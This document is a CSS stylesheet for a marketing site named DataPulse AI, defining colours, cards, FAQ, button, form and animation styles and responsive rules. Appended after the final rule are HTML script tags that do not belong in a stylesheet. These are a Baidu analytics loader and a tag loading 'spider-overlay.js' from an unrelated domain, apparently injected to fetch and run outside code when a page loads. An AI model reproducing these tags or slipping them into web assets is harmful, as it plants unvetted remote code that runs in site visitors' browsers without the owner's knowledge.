﻿/* ============================================
   DataPulse AI - Global Styles
   ============================================ */

/* --- CSS Variables --- */
:root {
  --primary: #2563eb;
  --primary-dark: #1d4ed8;
  --primary-light: #3b82f6;
  --primary-bg: #eff6ff;
  --gray-50: #f9fafb;
  --gray-100: #f3f4f6;
  --gray-200: #e5e7eb;
  --gray-300: #d1d5db;
  --gray-400: #9ca3af;
  --gray-500: #6b7280;
  --gray-600: #4b5563;
  --gray-700: #374151;
  --gray-800: #1f2937;
  --gray-900: #111827;
  --white: #ffffff;
  --shadow-sm: 0 1px 2px rgba(0,0,0,0.05);
  --shadow: 0 1px 3px rgba(0,0,0,0.1), 0 1px 2px rgba(0,0,0,0.06);
  --shadow-md: 0 4px 6px rgba(0,0,0,0.07), 0 2px 4px rgba(0,0,0,0.06);
  --shadow-lg: 0 10px 15px rgba(0,0,0,0.1), 0 4px 6px rgba(0,0,0,0.05);
  --shadow-xl: 0 20px 25px rgba(0,0,0,0.1), 0 10px 10px rgba(0,0,0,0.04);
  --radius-sm: 0.5rem;
  --radius: 0.75rem;
  --radius-lg: 1rem;
  --radius-xl: 1.5rem;
  --radius-2xl: 2rem;
  --transition: 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}

/* --- Reset & Base --- */
*,
*::before,
*::after {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

html {
  scroll-behavior: smooth;
  font-size: 16px;
}

body {
  font-family: 'Inter', system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
  color: var(--gray-800);
  background-color: var(--white);
  line-height: 1.6;
  overflow-x: hidden;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

img {
  max-width: 100%;
  height: auto;
  display: block;
}

a {
  text-decoration: none;
  color: inherit;
}

ul {
  list-style: none;
}

/* --- Container --- */
.container {
  max-width: 1200px;
  margin: 0 auto;
  padding: 0 1.5rem;
}

/* --- Section Spacing --- */
.section {
  padding: 5rem 0;
}

.section-sm {
  padding: 3rem 0;
}

/* --- Gradient Backgrounds --- */
.bg-gradient-blue {
  background: linear-gradient(135deg, #2563eb 0%, #7c3aed 100%);
}

.bg-gradient-light {
  background: linear-gradient(135deg, #eff6ff 0%, #faf5ff 100%);
}

.bg-gradient-cta {
  background: linear-gradient(135deg, #1d4ed8 0%, #6d28d9 50%, #7c3aed 100%);
}

/* --- Glass Effect --- */
.glass {
  background: rgba(255, 255, 255, 0.85);
  backdrop-filter: blur(12px);
  -webkit-backdrop-filter: blur(12px);
  border: 1px solid rgba(255, 255, 255, 0.2);
}

/* --- Card Styles --- */
.card {
  background: var(--white);
  border-radius: var(--radius-xl);
  padding: 2rem;
  box-shadow: var(--shadow);
  transition: transform var(--transition), box-shadow var(--transition);
  border: 1px solid var(--gray-100);
}

.card:hover {
  transform: translateY(-8px);
  box-shadow: var(--shadow-xl);
  border-color: var(--primary-light);
}

.card-feature {
  text-align: center;
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 1rem;
}

.card-feature .icon-wrapper {
  width: 72px;
  height: 72px;
  border-radius: var(--radius);
  background: var(--primary-bg);
  display: flex;
  align-items: center;
  justify-content: center;
  transition: background var(--transition), transform var(--transition);
}

.card-feature:hover .icon-wrapper {
  background: var(--primary);
  transform: scale(1.1);
}

.card-feature:hover .icon-wrapper i {
  color: var(--white) !important;
}

.card-feature .icon-wrapper i {
  font-size: 1.75rem;
  color: var(--primary);
  transition: color var(--transition);
}

.card-feature h3 {
  font-size: 1.25rem;
  font-weight: 600;
  color: var(--gray-900);
}

.card-feature p {
  color: var(--gray-500);
  font-size: 0.95rem;
  line-height: 1.7;
}

/* Testimonial Card */
.testimonial-card {
  background: var(--white);
  border-radius: var(--radius-xl);
  padding: 2rem;
  box-shadow: var(--shadow);
  border: 1px solid var(--gray-100);
  transition: transform var(--transition), box-shadow var(--transition);
  position: relative;
}

.testimonial-card:hover {
  transform: translateY(-8px);
  box-shadow: var(--shadow-xl);
}

.testimonial-card .quote-icon {
  position: absolute;
  top: 1.5rem;
  right: 1.5rem;
  font-size: 2.5rem;
  color: var(--primary-bg);
}

.testimonial-card .stars {
  color: #f59e0b;
  margin-bottom: 1rem;
}

.testimonial-card .stars i {
  margin-right: 2px;
}

.testimonial-card .text {
  color: var(--gray-600);
  font-size: 0.95rem;
  line-height: 1.8;
  margin-bottom: 1.5rem;
  font-style: italic;
}

.testimonial-card .author {
  display: flex;
  align-items: center;
  gap: 0.75rem;
}

.testimonial-card .author img {
  width: 48px;
  height: 48px;
  border-radius: 50%;
  object-fit: cover;
  border: 2px solid var(--primary-bg);
}

.testimonial-card .author .name {
  font-weight: 600;
  color: var(--gray-900);
  font-size: 0.95rem;
}

.testimonial-card .author .role {
  color: var(--gray-400);
  font-size: 0.8rem;
}

/* --- Stats Grid --- */
.stat-item {
  text-align: center;
  padding: 2rem 1rem;
}

.stat-item .stat-number {
  font-size: 2.75rem;
  font-weight: 800;
  color: var(--primary);
  line-height: 1.2;
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 0.25rem;
}

.stat-item .stat-number .suffix {
  font-size: 1.75rem;
  color: var(--primary);
}

.stat-item .stat-label {
  color: var(--gray-500);
  font-size: 0.95rem;
  margin-top: 0.5rem;
  font-weight: 500;
}

/* --- FAQ Accordion --- */
.faq-item {
  border: 1px solid var(--gray-200);
  border-radius: var(--radius-lg);
  margin-bottom: 1rem;
  overflow: hidden;
  background: var(--white);
  transition: border-color var(--transition);
}

.faq-item.active {
  border-color: var(--primary-light);
  box-shadow: var(--shadow-md);
}

.faq-question {
  width: 100%;
  background: none;
  border: none;
  padding: 1.25rem 1.5rem;
  font-size: 1rem;
  font-weight: 600;
  color: var(--gray-800);
  cursor: pointer;
  display: flex;
  justify-content: space-between;
  align-items: center;
  text-align: left;
  transition: color var(--transition);
}

.faq-question:hover {
  color: var(--primary);
}

.faq-question .faq-icon {
  font-size: 1rem;
  color: var(--gray-400);
  transition: transform var(--transition), color var(--transition);
  flex-shrink: 0;
  margin-left: 1rem;
}

.faq-item.active .faq-question {
  color: var(--primary);
}

.faq-item.active .faq-question .faq-icon {
  transform: rotate(180deg);
  color: var(--primary);
}

.faq-answer {
  max-height: 0;
  overflow: hidden;
  transition: max-height 0.4s cubic-bezier(0.4, 0, 0.2, 1), padding 0.4s ease;
}

.faq-answer-inner {
  padding: 0 1.5rem 1.25rem;
  color: var(--gray-500);
  font-size: 0.95rem;
  line-height: 1.8;
}

/* --- Buttons --- */
.btn {
  display: inline-flex;
  align-items: center;
  gap: 0.5rem;
  padding: 0.75rem 1.75rem;
  border-radius: var(--radius);
  font-size: 0.95rem;
  font-weight: 600;
  cursor: pointer;
  transition: all var(--transition);
  border: 2px solid transparent;
  white-space: nowrap;
}

.btn-primary {
  background: var(--primary);
  color: var(--white);
  border-color: var(--primary);
}

.btn-primary:hover {
  background: var(--primary-dark);
  border-color: var(--primary-dark);
  transform: translateY(-2px);
  box-shadow: 0 8px 20px rgba(37, 99, 235, 0.35);
}

.btn-outline {
  background: transparent;
  color: var(--primary);
  border-color: var(--primary);
}

.btn-outline:hover {
  background: var(--primary);
  color: var(--white);
  transform: translateY(-2px);
  box-shadow: 0 8px 20px rgba(37, 99, 235, 0.25);
}

.btn-white {
  background: var(--white);
  color: var(--primary);
  border-color: var(--white);
}

.btn-white:hover {
  background: var(--gray-50);
  transform: translateY(-2px);
  box-shadow: 0 8px 20px rgba(255, 255, 255, 0.35);
}

.btn-lg {
  padding: 1rem 2.25rem;
  font-size: 1.05rem;
  border-radius: var(--radius-lg);
}

/* --- Page Banner --- */
.page-banner {
  padding: 6rem 0 3rem;
  text-align: center;
}

.page-banner h1 {
  font-size: 2.5rem;
  font-weight: 800;
  color: var(--gray-900);
  margin-bottom: 1rem;
}

.page-banner p {
  color: var(--gray-500);
  font-size: 1.1rem;
  max-width: 600px;
  margin: 0 auto;
}

/* --- About Page Specific --- */
.team-card {
  background: var(--white);
  border-radius: var(--radius-xl);
  padding: 2rem 1.5rem;
  text-align: center;
  box-shadow: var(--shadow);
  border: 1px solid var(--gray-100);
  transition: transform var(--transition), box-shadow var(--transition);
}

.team-card:hover {
  transform: translateY(-8px);
  box-shadow: var(--shadow-xl);
}

.team-card img {
  width: 100px;
  height: 100px;
  border-radius: 50%;
  object-fit: cover;
  margin: 0 auto 1.25rem;
  border: 3px solid var(--primary-bg);
}

.team-card .name {
  font-size: 1.1rem;
  font-weight: 600;
  color: var(--gray-900);
}

.team-card .role {
  color: var(--primary);
  font-size: 0.85rem;
  font-weight: 500;
  margin-bottom: 0.75rem;
}

.team-card .bio {
  color: var(--gray-500);
  font-size: 0.9rem;
  line-height: 1.7;
}

.team-card .social-links {
  display: flex;
  justify-content: center;
  gap: 0.75rem;
  margin-top: 1rem;
}

.team-card .social-links a {
  width: 34px;
  height: 34px;
  border-radius: 50%;
  background: var(--gray-100);
  display: flex;
  align-items: center;
  justify-content: center;
  color: var(--gray-500);
  transition: all var(--transition);
  font-size: 0.85rem;
}

.team-card .social-links a:hover {
  background: var(--primary);
  color: var(--white);
  transform: translateY(-2px);
}

/* Value Card */
.value-card {
  background: var(--white);
  border-radius: var(--radius-xl);
  padding: 2.5rem 2rem;
  text-align: center;
  box-shadow: var(--shadow);
  border: 1px solid var(--gray-100);
  transition: transform var(--transition), box-shadow var(--transition);
}

.value-card:hover {
  transform: translateY(-8px);
  box-shadow: var(--shadow-xl);
}

.value-card .value-icon {
  width: 64px;
  height: 64px;
  border-radius: var(--radius);
  background: var(--primary-bg);
  display: flex;
  align-items: center;
  justify-content: center;
  margin: 0 auto 1.25rem;
  font-size: 1.5rem;
  color: var(--primary);
  transition: all var(--transition);
}

.value-card:hover .value-icon {
  background: var(--primary);
  color: var(--white);
}

/* --- Contact Page Form --- */
.contact-form .form-group {
  margin-bottom: 1.25rem;
}

.contact-form label {
  display: block;
  font-size: 0.9rem;
  font-weight: 600;
  color: var(--gray-700);
  margin-bottom: 0.5rem;
}

.contact-form input,
.contact-form textarea,
.contact-form select {
  width: 100%;
  padding: 0.85rem 1rem;
  border: 1.5px solid var(--gray-200);
  border-radius: var(--radius);
  font-size: 0.95rem;
  font-family: inherit;
  color: var(--gray-800);
  background: var(--white);
  transition: border-color var(--transition), box-shadow var(--transition);
  outline: none;
}

.contact-form input:focus,
.contact-form textarea:focus,
.contact-form select:focus {
  border-color: var(--primary);
  box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1);
}

.contact-form input.error,
.contact-form textarea.error {
  border-color: #ef4444;
  box-shadow: 0 0 0 3px rgba(239, 68, 68, 0.1);
}

.contact-form .error-message {
  color: #ef4444;
  font-size: 0.8rem;
  margin-top: 0.35rem;
}

.contact-form .success-message {
  background: #ecfdf5;
  color: #065f46;
  padding: 1rem;
  border-radius: var(--radius);
  font-weight: 500;
  margin-bottom: 1.5rem;
  border: 1px solid #a7f3d0;
  display: none;
}

.contact-form .success-message.show {
  display: block;
}

.contact-info-item {
  display: flex;
  gap: 1rem;
  padding: 1rem 0;
  border-bottom: 1px solid var(--gray-100);
}

.contact-info-item:last-child {
  border-bottom: none;
}

.contact-info-item .ci-icon {
  width: 44px;
  height: 44px;
  border-radius: var(--radius);
  background: var(--primary-bg);
  display: flex;
  align-items: center;
  justify-content: center;
  color: var(--primary);
  flex-shrink: 0;
  font-size: 1.1rem;
}

.contact-info-item .ci-detail h4 {
  font-size: 0.9rem;
  font-weight: 600;
  color: var(--gray-900);
  margin-bottom: 0.2rem;
}

.contact-info-item .ci-detail p {
  color: var(--gray-500);
  font-size: 0.9rem;
  line-height: 1.5;
}

/* --- Animations --- */
@keyframes fadeInUp {
  from {
    opacity: 0;
    transform: translateY(30px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes fadeIn {
  from { opacity: 0; }
  to { opacity: 1; }
}

@keyframes scaleIn {
  from {
    opacity: 0;
    transform: scale(0.9);
  }
  to {
    opacity: 1;
    transform: scale(1);
  }
}

@keyframes slideDown {
  from {
    opacity: 0;
    transform: translateY(-20px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes pulse-slow {
  0%, 100% { transform: scale(1); }
  50% { transform: scale(1.05); }
}

@keyframes float {
  0%, 100% { transform: translateY(0); }
  50% { transform: translateY(-12px); }
}

.animate-fadeInUp {
  animation: fadeInUp 0.6s ease forwards;
  opacity: 0;
}

.animate-fadeIn {
  animation: fadeIn 0.6s ease forwards;
}

.reveal {
  opacity: 0;
  transform: translateY(30px);
  transition: opacity 0.6s ease, transform 0.6s ease;
}

.reveal.visible {
  opacity: 1;
  transform: translateY(0);
}

/* Stagger delays for cards */
.delay-1 { animation-delay: 0.1s; }
.delay-2 { animation-delay: 0.2s; }
.delay-3 { animation-delay: 0.3s; }
.delay-4 { animation-delay: 0.4s; }
.delay-5 { animation-delay: 0.5s; }
.delay-6 { animation-delay: 0.6s; }

/* --- Hero Decorative Elements --- */
.hero-decor {
  position: absolute;
  border-radius: 50%;
  opacity: 0.1;
  pointer-events: none;
}

.hero-decor-1 {
  width: 300px;
  height: 300px;
  background: var(--primary);
  top: -50px;
  right: -100px;
  animation: float 6s ease-in-out infinite;
}

.hero-decor-2 {
  width: 200px;
  height: 200px;
  background: #7c3aed;
  bottom: -30px;
  left: -60px;
  animation: float 8s ease-in-out infinite reverse;
}

.hero-decor-3 {
  width: 100px;
  height: 100px;
  background: var(--primary-light);
  top: 50%;
  left: 10%;
  animation: float 5s ease-in-out infinite;
}

/* --- Scroll To Top --- */
.scroll-top-btn {
  position: fixed;
  bottom: 2rem;
  right: 2rem;
  width: 46px;
  height: 46px;
  border-radius: 50%;
  background: var(--primary);
  color: var(--white);
  border: none;
  cursor: pointer;
  font-size: 1.2rem;
  box-shadow: var(--shadow-lg);
  opacity: 0;
  visibility: hidden;
  transform: translateY(10px);
  transition: all var(--transition);
  z-index: 100;
  display: flex;
  align-items: center;
  justify-content: center;
}

.scroll-top-btn.visible {
  opacity: 1;
  visibility: visible;
  transform: translateY(0);
}

.scroll-top-btn:hover {
  background: var(--primary-dark);
  transform: translateY(-3px);
  box-shadow: var(--shadow-xl);
}

/* --- Form Message Overlay --- */
.form-toast {
  position: fixed;
  top: 2rem;
  right: 2rem;
  padding: 1rem 1.5rem;
  border-radius: var(--radius);
  color: var(--white);
  font-weight: 600;
  font-size: 0.95rem;
  z-index: 1000;
  animation: slideDown 0.4s ease;
  box-shadow: var(--shadow-lg);
}

.form-toast.success {
  background: #059669;
}

.form-toast.error {
  background: #dc2626;
}

/* ============================================
   Responsive - Tablet (max-width: 768px)
   ============================================ */
@media (max-width: 768px) {
  html {
    font-size: 15px;
  }

  .section {
    padding: 3.5rem 0;
  }

  .container {
    padding: 0 1rem;
  }

  .page-banner {
    padding: 5rem 0 2rem;
  }

  .page-banner h1 {
    font-size: 2rem;
  }

  .btn-lg {
    padding: 0.85rem 1.75rem;
    font-size: 0.95rem;
  }

  .stat-item .stat-number {
    font-size: 2.25rem;
  }

  .card-feature {
    padding: 1.5rem;
  }

  .card-feature .icon-wrapper {
    width: 60px;
    height: 60px;
  }

  .card-feature .icon-wrapper i {
    font-size: 1.4rem;
  }

  .hero-decor-1 {
    width: 200px;
    height: 200px;
  }

  .hero-decor-2 {
    width: 130px;
    height: 130px;
  }

  .hero-decor-3 {
    width: 70px;
    height: 70px;
  }

  .scroll-top-btn {
    bottom: 1.5rem;
    right: 1.5rem;
    width: 40px;
    height: 40px;
    font-size: 1rem;
  }
}

/* ============================================
   Responsive - Mobile (max-width: 480px)
   ============================================ */
@media (max-width: 480px) {
  html {
    font-size: 14px;
  }

  .section {
    padding: 2.5rem 0;
  }

  .container {
    padding: 0 0.75rem;
  }

  .page-banner {
    padding: 4rem 0 1.5rem;
  }

  .page-banner h1 {
    font-size: 1.6rem;
  }

  .page-banner p {
    font-size: 0.95rem;
  }

  .btn {
    padding: 0.65rem 1.25rem;
    font-size: 0.85rem;
  }

  .btn-lg {
    padding: 0.75rem 1.5rem;
    font-size: 0.9rem;
  }

  .stat-item .stat-number {
    font-size: 1.85rem;
  }

  .stat-item .stat-label {
    font-size: 0.8rem;
  }

  .card {
    padding: 1.25rem;
  }

  .card-feature .icon-wrapper {
    width: 50px;
    height: 50px;
  }

  .card-feature .icon-wrapper i {
    font-size: 1.2rem;
  }

  .card-feature h3 {
    font-size: 1.05rem;
  }

  .card-feature p {
    font-size: 0.85rem;
  }

  .faq-question {
    padding: 1rem 1.25rem;
    font-size: 0.9rem;
  }

  .faq-answer-inner {
    padding: 0 1.25rem 1rem;
    font-size: 0.85rem;
  }

  .hero-decor-1 {
    width: 150px;
    height: 150px;
  }

  .hero-decor-2 {
    width: 90px;
    height: 90px;
  }

  .hero-decor-3 {
    display: none;
  }

  .team-card img {
    width: 80px;
    height: 80px;
  }

  .scroll-top-btn {
    bottom: 1rem;
    right: 1rem;
    width: 36px;
    height: 36px;
    font-size: 0.9rem;
  }

  .form-toast {
    top: 1rem;
    right: 1rem;
    left: 1rem;
    text-align: center;
    font-size: 0.85rem;
  }
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

